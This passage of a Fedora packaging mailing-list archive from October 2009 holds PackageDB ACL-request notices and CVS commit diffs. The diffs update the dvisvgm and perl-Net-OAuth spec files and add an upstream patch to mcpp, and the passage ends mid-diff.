ltinkl has requested the watchcommits acl on kdepim-runtime (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:36 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested commit
Message-ID: <20091013132836.2BA5A10F8AB@bastion2.fedora.phx.redhat.com>

ltinkl has requested the commit acl on kdepim-runtime (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:41 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchbugzilla
Message-ID: <20091013132841.2D4B310F889@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchbugzilla acl on kdepim-runtime (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:43 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchcommits
Message-ID: <20091013132843.31B7B10F8A9@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchcommits acl on kdepim-runtime (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:45 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested commit
Message-ID: <20091013132845.58D2A10F8B1@bastion2.fedora.phx.redhat.com>

ltinkl has requested the commit acl on kdepim-runtime (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:50 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchbugzilla
Message-ID: <20091013132850.6251B10F8A3@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchbugzilla acl on kdepim-runtime (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:52 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested watchcommits
Message-ID: <20091013132852.A2F8010F8B5@bastion2.fedora.phx.redhat.com>

ltinkl has requested the watchcommits acl on kdepim-runtime (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Tue Oct 13 13:28:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 13:28:54 +0000
Subject: [pkgdb] kdepim-runtime: ltinkl has requested commit
Message-ID: <20091013132854.63BE410F8B7@bastion2.fedora.phx.redhat.com>

ltinkl has requested the commit acl on kdepim-runtime (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From mgieseki at fedoraproject.org  Tue Oct 13 13:32:17 2009
From: mgieseki at fedoraproject.org (Martin Gieseking)
Date: Tue, 13 Oct 2009 13:32:17 +0000 (UTC)
Subject: rpms/dvisvgm/F-12 .cvsignore, 1.4, 1.5 dvisvgm.spec, 1.3,
	1.4 sources, 1.4, 1.5
Message-ID: <20091013133217.B34D211C00E8@cvs1.fedora.phx.redhat.com>

Author: mgieseki

Update of /cvs/pkgs/rpms/dvisvgm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2365

Modified Files:
	.cvsignore dvisvgm.spec sources 
Log Message:
update to upstream release 0.8.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Sep 2009 12:42:38 -0000	1.4
+++ .cvsignore	13 Oct 2009 13:32:17 -0000	1.5
@@ -1 +1 @@
-dvisvgm-0.8.4.tar.gz
+dvisvgm-0.8.6.tar.gz


Index: dvisvgm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-12/dvisvgm.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- dvisvgm.spec	17 Sep 2009 12:46:32 -0000	1.3
+++ dvisvgm.spec	13 Oct 2009 13:32:17 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           dvisvgm
-Version:        0.8.4
+Version:        0.8.6
 Release:        1%{?dist}
 Summary:        A DVI to SVG converter
 
@@ -59,17 +59,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING NEWS README
+%doc AUTHORS COPYING LGPL-2.1.txt NEWS README
 %{_bindir}/dvisvgm
 %{_mandir}/man1/dvisvgm.1.*
 
 
 %changelog
+* Tue Oct 13 2009  Martin Gieseking <martin.gieseking at uos.de> - 0.8.6-1
+- updated to latest upstream release 0.8.6
+
 * Thu Sep 17 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.4-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.4
 
 * Mon Aug 24 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.3-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.3
 - conditional Requires and BuildRequires to satisfy F-xx and EL5
 
 * Wed Aug 12 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.1-5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Sep 2009 12:42:38 -0000	1.4
+++ sources	13 Oct 2009 13:32:17 -0000	1.5
@@ -1 +1 @@
-3dbbab35f7e50d66d438d059cf239f5f  dvisvgm-0.8.4.tar.gz
+d26db0e588b3e20401b710327b01325c  dvisvgm-0.8.6.tar.gz



From mgieseki at fedoraproject.org  Tue Oct 13 13:34:28 2009
From: mgieseki at fedoraproject.org (Martin Gieseking)
Date: Tue, 13 Oct 2009 13:34:28 +0000 (UTC)
Subject: rpms/dvisvgm/F-11 .cvsignore, 1.2, 1.3 dvisvgm.spec, 1.3,
	1.4 sources, 1.4, 1.5
Message-ID: <20091013133428.670FA11C00E8@cvs1.fedora.phx.redhat.com>

Author: mgieseki

Update of /cvs/pkgs/rpms/dvisvgm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2938

Modified Files:
	.cvsignore dvisvgm.spec sources 
Log Message:
update to upstream release 0.8.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 13:04:42 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:34:28 -0000	1.3
@@ -1 +1 @@
-dvisvgm-0.8.4.tar.gz
+dvisvgm-0.8.6.tar.gz


Index: dvisvgm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-11/dvisvgm.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- dvisvgm.spec	17 Sep 2009 13:04:42 -0000	1.3
+++ dvisvgm.spec	13 Oct 2009 13:34:28 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           dvisvgm
-Version:        0.8.4
+Version:        0.8.6
 Release:        1%{?dist}
 Summary:        A DVI to SVG converter
 
@@ -59,17 +59,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING NEWS README
+%doc AUTHORS COPYING LGPL-2.1.txt NEWS README
 %{_bindir}/dvisvgm
 %{_mandir}/man1/dvisvgm.1.*
 
 
 %changelog
+* Tue Oct 13 2009  Martin Gieseking <martin.gieseking at uos.de> - 0.8.6-1
+- updated to latest upstream release 0.8.6
+
 * Thu Sep 17 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.4-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.4
 
 * Mon Aug 24 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.3-1
-- updated to latest upstream release
+- updated to latest upstream release 0.8.3
 - conditional Requires and BuildRequires to satisfy F-xx and EL5
 
 * Wed Aug 12 2009 Martin Gieseking <martin.gieseking at uos.de> - 0.8.1-5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dvisvgm/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Sep 2009 13:04:42 -0000	1.4
+++ sources	13 Oct 2009 13:34:28 -0000	1.5
@@ -1 +1 @@
-3dbbab35f7e50d66d438d059cf239f5f  dvisvgm-0.8.4.tar.gz
+d26db0e588b3e20401b710327b01325c  dvisvgm-0.8.6.tar.gz



From lkundrak at fedoraproject.org  Tue Oct 13 13:36:58 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Tue, 13 Oct 2009 13:36:58 +0000 (UTC)
Subject: rpms/perl-Net-OAuth/EL-5 .cvsignore, 1.2, 1.3 perl-Net-OAuth.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091013133658.A4C4011C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/perl-Net-OAuth/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3594/EL-5

Modified Files:
	.cvsignore perl-Net-OAuth.spec sources 
Log Message:
* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
- Update to 0.19, fixes security issue (2009.1)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Apr 2009 10:45:06 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:36:58 -0000	1.3
@@ -1 +1 @@
-Net-OAuth-0.14.tar.gz
+Net-OAuth-0.19.tar.gz


Index: perl-Net-OAuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/EL-5/perl-Net-OAuth.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Net-OAuth.spec	28 Apr 2009 07:45:49 -0000	1.2
+++ perl-Net-OAuth.spec	13 Oct 2009 13:36:58 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-Net-OAuth
-Version:        0.14
-Release:        2%{?dist}
+Version:        0.19
+Release:        1%{?dist}
 Summary:        OAuth protocol support library for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -60,6 +60,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
+- Update to 0.19, fixes security issue (2009.1)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Apr 28 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> 0.14-2
 - Fix Requires
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Apr 2009 10:45:07 -0000	1.2
+++ sources	13 Oct 2009 13:36:58 -0000	1.3
@@ -1 +1 @@
-ddfd502c8420707e2d1577062ff28438  Net-OAuth-0.14.tar.gz
+69e7f9eec3fbe772c9ed7113b358b77a  Net-OAuth-0.19.tar.gz



From lkundrak at fedoraproject.org  Tue Oct 13 13:36:58 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Tue, 13 Oct 2009 13:36:58 +0000 (UTC)
Subject: rpms/perl-Net-OAuth/F-10 .cvsignore, 1.2, 1.3 perl-Net-OAuth.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091013133658.F17F811C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/perl-Net-OAuth/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3594/F-10

Modified Files:
	.cvsignore perl-Net-OAuth.spec sources 
Log Message:
* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
- Update to 0.19, fixes security issue (2009.1)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Apr 2009 10:45:07 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:36:58 -0000	1.3
@@ -1 +1 @@
-Net-OAuth-0.14.tar.gz
+Net-OAuth-0.19.tar.gz


Index: perl-Net-OAuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-10/perl-Net-OAuth.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Net-OAuth.spec	28 Apr 2009 07:45:49 -0000	1.2
+++ perl-Net-OAuth.spec	13 Oct 2009 13:36:58 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-Net-OAuth
-Version:        0.14
-Release:        2%{?dist}
+Version:        0.19
+Release:        1%{?dist}
 Summary:        OAuth protocol support library for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -60,6 +60,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
+- Update to 0.19, fixes security issue (2009.1)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Apr 28 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> 0.14-2
 - Fix Requires
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Apr 2009 10:45:07 -0000	1.2
+++ sources	13 Oct 2009 13:36:58 -0000	1.3
@@ -1 +1 @@
-ddfd502c8420707e2d1577062ff28438  Net-OAuth-0.14.tar.gz
+69e7f9eec3fbe772c9ed7113b358b77a  Net-OAuth-0.19.tar.gz



From mef at fedoraproject.org  Tue Oct 13 13:37:01 2009
From: mef at fedoraproject.org (mef)
Date: Tue, 13 Oct 2009 13:37:01 +0000 (UTC)
Subject: rpms/mcpp/F-11 patch.mcpp.2.7.2.txt,NONE,1.1 mcpp.spec,1.8,1.9
Message-ID: <20091013133701.3528011C00E8@cvs1.fedora.phx.redhat.com>

Author: mef

Update of /cvs/pkgs/rpms/mcpp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3651/F-11

Modified Files:
	mcpp.spec 
Added Files:
	patch.mcpp.2.7.2.txt 
Log Message:
Incorporate patch from upstream Ice project


--- NEW FILE patch.mcpp.2.7.2.txt ---
diff -c -r -N ../mcpp-2.7.2-old/src/internal.H ./src/internal.H
*** ../mcpp-2.7.2-old/src/internal.H	2008-08-27 10:31:16.000000000 -0230
--- ./src/internal.H	2009-05-21 09:49:31.000000000 -0230
***************
*** 390,395 ****
--- 390,397 ----
  extern char     identifier[];       /* Lastly scanned name          */
  extern IFINFO   ifstack[];          /* Information of #if nesting   */
  extern char     work_buf[];
+ extern FILEINFO * sh_file;
+ extern int      sh_line;
          /* Temporary buffer for directive line and macro expansion  */
  
  /* main.c   */
diff -c -r -N ../mcpp-2.7.2-old/src/main.c ./src/main.c
*** ../mcpp-2.7.2-old/src/main.c	2008-11-05 05:04:46.000000000 -0330
--- ./src/main.c	2009-05-21 09:47:50.000000000 -0230
***************
*** 326,331 ****
--- 326,333 ----
              = FALSE;
      option_flags.trig = TRIGRAPHS_INIT;
      option_flags.dig = DIGRAPHS_INIT;
+     sh_file = NULL;
+     sh_line = 0;
  }
  
  int     mcpp_lib_main
diff -c -r -N ../mcpp-2.7.2-old/src/system.c ./src/system.c
*** ../mcpp-2.7.2-old/src/system.c	2008-11-26 06:23:51.000000000 -0330
--- ./src/system.c	2009-05-21 09:48:50.000000000 -0230
***************
*** 3858,3863 ****
--- 3858,3866 ----
  }
  #endif
  
+ FILEINFO*       sh_file;
+ int             sh_line;
+ 
  void    sharp(
      FILEINFO *  sharp_file,
      int         flag        /* Flag to append to the line for GCC   */
***************
*** 3868,3875 ****
   * else (i.e. 'sharp_file' is NULL) 'infile'.
   */
  {
-     static FILEINFO *   sh_file;
-     static int  sh_line;
      FILEINFO *  file;
      int         line;
  
--- 3871,3876 ----


Index: mcpp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcpp/F-11/mcpp.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- mcpp.spec	26 Feb 2009 00:00:26 -0000	1.8
+++ mcpp.spec	13 Oct 2009 13:37:01 -0000	1.9
@@ -3,12 +3,14 @@
 Summary:    Alternative C/C++ preprocessor
 Name:       mcpp
 Version:    2.7.2
-Release:    2%{?dist}
+Release:    3%{?dist}
 License:    BSD
 Group:      Development/Languages
 Source:     http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 URL:        http://mcpp.sourceforge.net/
 Patch0:     mcpp-manual.html.patch
+# From http://www.zeroc.com/forums/patches/4445-patch-1-mcpp-2-7-2-a.html
+Patch1:     patch.mcpp.2.7.2.txt
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root
 
 %description
@@ -28,6 +30,7 @@ shared library of mcpp and behaves indep
 %prep
 %setup -q
 %patch0 -p0 -b -z.euc-jp
+%patch1 -p1
 
 %build
 %configure --enable-mcpplib --disable-static
@@ -93,6 +96,9 @@ This package provides an html manual for
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Tue Oct 13 2009 Mary Ellen Foster <mefoster at gmail.com> 2.7.2-3
+- Incorporate patch from Ice upstream project
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.7.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From lkundrak at fedoraproject.org  Tue Oct 13 13:36:59 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Tue, 13 Oct 2009 13:36:59 +0000 (UTC)
Subject: rpms/perl-Net-OAuth/F-12 .cvsignore, 1.2, 1.3 perl-Net-OAuth.spec,
	1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091013133659.9A60211C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/perl-Net-OAuth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3594/F-12

Modified Files:
	.cvsignore perl-Net-OAuth.spec sources 
Log Message:
* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
- Update to 0.19, fixes security issue (2009.1)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Apr 2009 10:45:08 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:36:59 -0000	1.3
@@ -1 +1 @@
-Net-OAuth-0.14.tar.gz
+Net-OAuth-0.19.tar.gz


Index: perl-Net-OAuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-12/perl-Net-OAuth.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-Net-OAuth.spec	26 Jul 2009 13:43:52 -0000	1.3
+++ perl-Net-OAuth.spec	13 Oct 2009 13:36:59 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           perl-Net-OAuth
-Version:        0.14
-Release:        3%{?dist}
+Version:        0.19
+Release:        1%{?dist}
 Summary:        OAuth protocol support library for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -60,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
+- Update to 0.19, fixes security issue (2009.1)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Apr 2009 10:45:09 -0000	1.2
+++ sources	13 Oct 2009 13:36:59 -0000	1.3
@@ -1 +1 @@
-ddfd502c8420707e2d1577062ff28438  Net-OAuth-0.14.tar.gz
+69e7f9eec3fbe772c9ed7113b358b77a  Net-OAuth-0.19.tar.gz



From lkundrak at fedoraproject.org  Tue Oct 13 13:36:59 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Tue, 13 Oct 2009 13:36:59 +0000 (UTC)
Subject: rpms/perl-Net-OAuth/F-11 .cvsignore, 1.2, 1.3 perl-Net-OAuth.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091013133659.4F95111C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/perl-Net-OAuth/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3594/F-11

Modified Files:
	.cvsignore perl-Net-OAuth.spec sources 
Log Message:
* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
- Update to 0.19, fixes security issue (2009.1)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Apr 2009 10:45:08 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:36:59 -0000	1.3
@@ -1 +1 @@
-Net-OAuth-0.14.tar.gz
+Net-OAuth-0.19.tar.gz


Index: perl-Net-OAuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-11/perl-Net-OAuth.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Net-OAuth.spec	28 Apr 2009 07:45:49 -0000	1.2
+++ perl-Net-OAuth.spec	13 Oct 2009 13:36:59 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-Net-OAuth
-Version:        0.14
-Release:        2%{?dist}
+Version:        0.19
+Release:        1%{?dist}
 Summary:        OAuth protocol support library for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -60,6 +60,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
+- Update to 0.19, fixes security issue (2009.1)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Apr 28 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> 0.14-2
 - Fix Requires
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Apr 2009 10:45:08 -0000	1.2
+++ sources	13 Oct 2009 13:36:59 -0000	1.3
@@ -1 +1 @@
-ddfd502c8420707e2d1577062ff28438  Net-OAuth-0.14.tar.gz
+69e7f9eec3fbe772c9ed7113b358b77a  Net-OAuth-0.19.tar.gz



From lkundrak at fedoraproject.org  Tue Oct 13 13:36:59 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Tue, 13 Oct 2009 13:36:59 +0000 (UTC)
Subject: rpms/perl-Net-OAuth/devel .cvsignore, 1.2, 1.3 perl-Net-OAuth.spec, 
	1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091013133659.D562511C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/perl-Net-OAuth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3594/devel

Modified Files:
	.cvsignore perl-Net-OAuth.spec sources 
Log Message:
* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
- Update to 0.19, fixes security issue (2009.1)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Apr 2009 10:45:08 -0000	1.2
+++ .cvsignore	13 Oct 2009 13:36:59 -0000	1.3
@@ -1 +1 @@
-Net-OAuth-0.14.tar.gz
+Net-OAuth-0.19.tar.gz


Index: perl-Net-OAuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/devel/perl-Net-OAuth.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-Net-OAuth.spec	26 Jul 2009 13:43:52 -0000	1.3
+++ perl-Net-OAuth.spec	13 Oct 2009 13:36:59 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           perl-Net-OAuth
-Version:        0.14
-Release:        3%{?dist}
+Version:        0.19
+Release:        1%{?dist}
 Summary:        OAuth protocol support library for Perl
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -60,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.19-1
+- Update to 0.19, fixes security issue (2009.1)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.14-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Net-OAuth/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Apr 2009 10:45:09 -0000	1.2
+++ sources	13 Oct 2009 13:36:59 -0000	1.3
@@ -1 +1 @@
-ddfd502c8420707e2d1577062ff28438  Net-OAuth-0.14.tar.gz
+69e7f9eec3fbe772c9ed7113b358b77a  Net-OAuth-0.19.tar.gz



From mef at fedoraproject.org  Tue Oct 13 13:37:01 2009
From: mef at fedoraproject.org (mef)
Date: Tue, 13 Oct 2009 13:37:01 +0000 (UTC)
Subject: rpms/mcpp/F-12 patch.mcpp.2.7.2.txt,NONE,1.1 mcpp.spec,1.9,1.10
Message-ID: <20091013133701.7128711C00E8@cvs1.fedora.phx.redhat.com>

Author: mef

Update of /cvs/pkgs/rpms/mcpp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3651/F-12

Modified Files:
	mcpp.spec 
Added Files:
	patch.mcpp.2.7.2.txt 
Log Message:
Incorporate patch from upstream Ice project


--- NEW FILE patch.mcpp.2.7.2.txt ---
diff -c -r -N ../mcpp-2.7.2-old/src/internal.H ./src/internal.H
*** ../mcpp-2.7.2-old/src/internal.H	2008-08-27 10:31:16.000000000 -0230
--- ./src/internal.H	2009-05-21 09:49:31.000000000 -0230
***************
*** 390,395 ****
--- 390,397 ----
  extern char     identifier[];       /* Lastly scanned name          */
  extern IFINFO   ifstack[];          /* Information of #if nesting   */
  extern char     work_buf[];
+ extern FILEINFO * sh_file;
+ extern int      sh_line;
          /* Temporary buffer for directive line and macro expansion  */
  
  /* main.c   */
diff -c -r -N ../mcpp-2.7.2-old/src/main.c ./src/main.c
*** ../mcpp-2.7.2-old/src/main.c	2008-11-05 05:04:46.000000000 -0330
--- ./src/main.c	2009-05-21 09:47:50.000000000 -0230
***************
*** 326,331 ****
--- 326,333 ----
              = FALSE;
      option_flags.trig = TRIGRAPHS_INIT;
      option_flags.dig = DIGRAPHS_INIT;
+     sh_file = NULL;
+     sh_line = 0;
  }
  
  int     mcpp_lib_main
diff -c -r -N ../mcpp-2.7.2-old/src/system.c ./src/system.c
*** ../mcpp-2.7.2-old/src/system.c	2008-11-26 06:23:51.000000000 -0330
--- ./src/system.c	2009-05-21 09:48:50.000000000 -0230
***************
*** 3858,3863 ****
--- 3858,3866 ----
  }
  #endif
  
+ FILEINFO*       sh_file;
+ int             sh_line;
+ 
  void    sharp(
      FILEINFO *  sharp_file,
      int         flag        /* Flag to append to the line for GCC   */
***************
*** 3868,3875 ****
   * else (i.e. 'sharp_file' is NULL) 'infile'.
   */
  {
-     static FILEINFO *   sh_file;
-     static int  sh_line;
      FILEINFO *  file;
      int         line;
  
--- 3871,3876 ----


Index: mcpp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mcpp/F-12/mcpp.spec,v
retrieving revision 1.9
retrieving revision 1.10
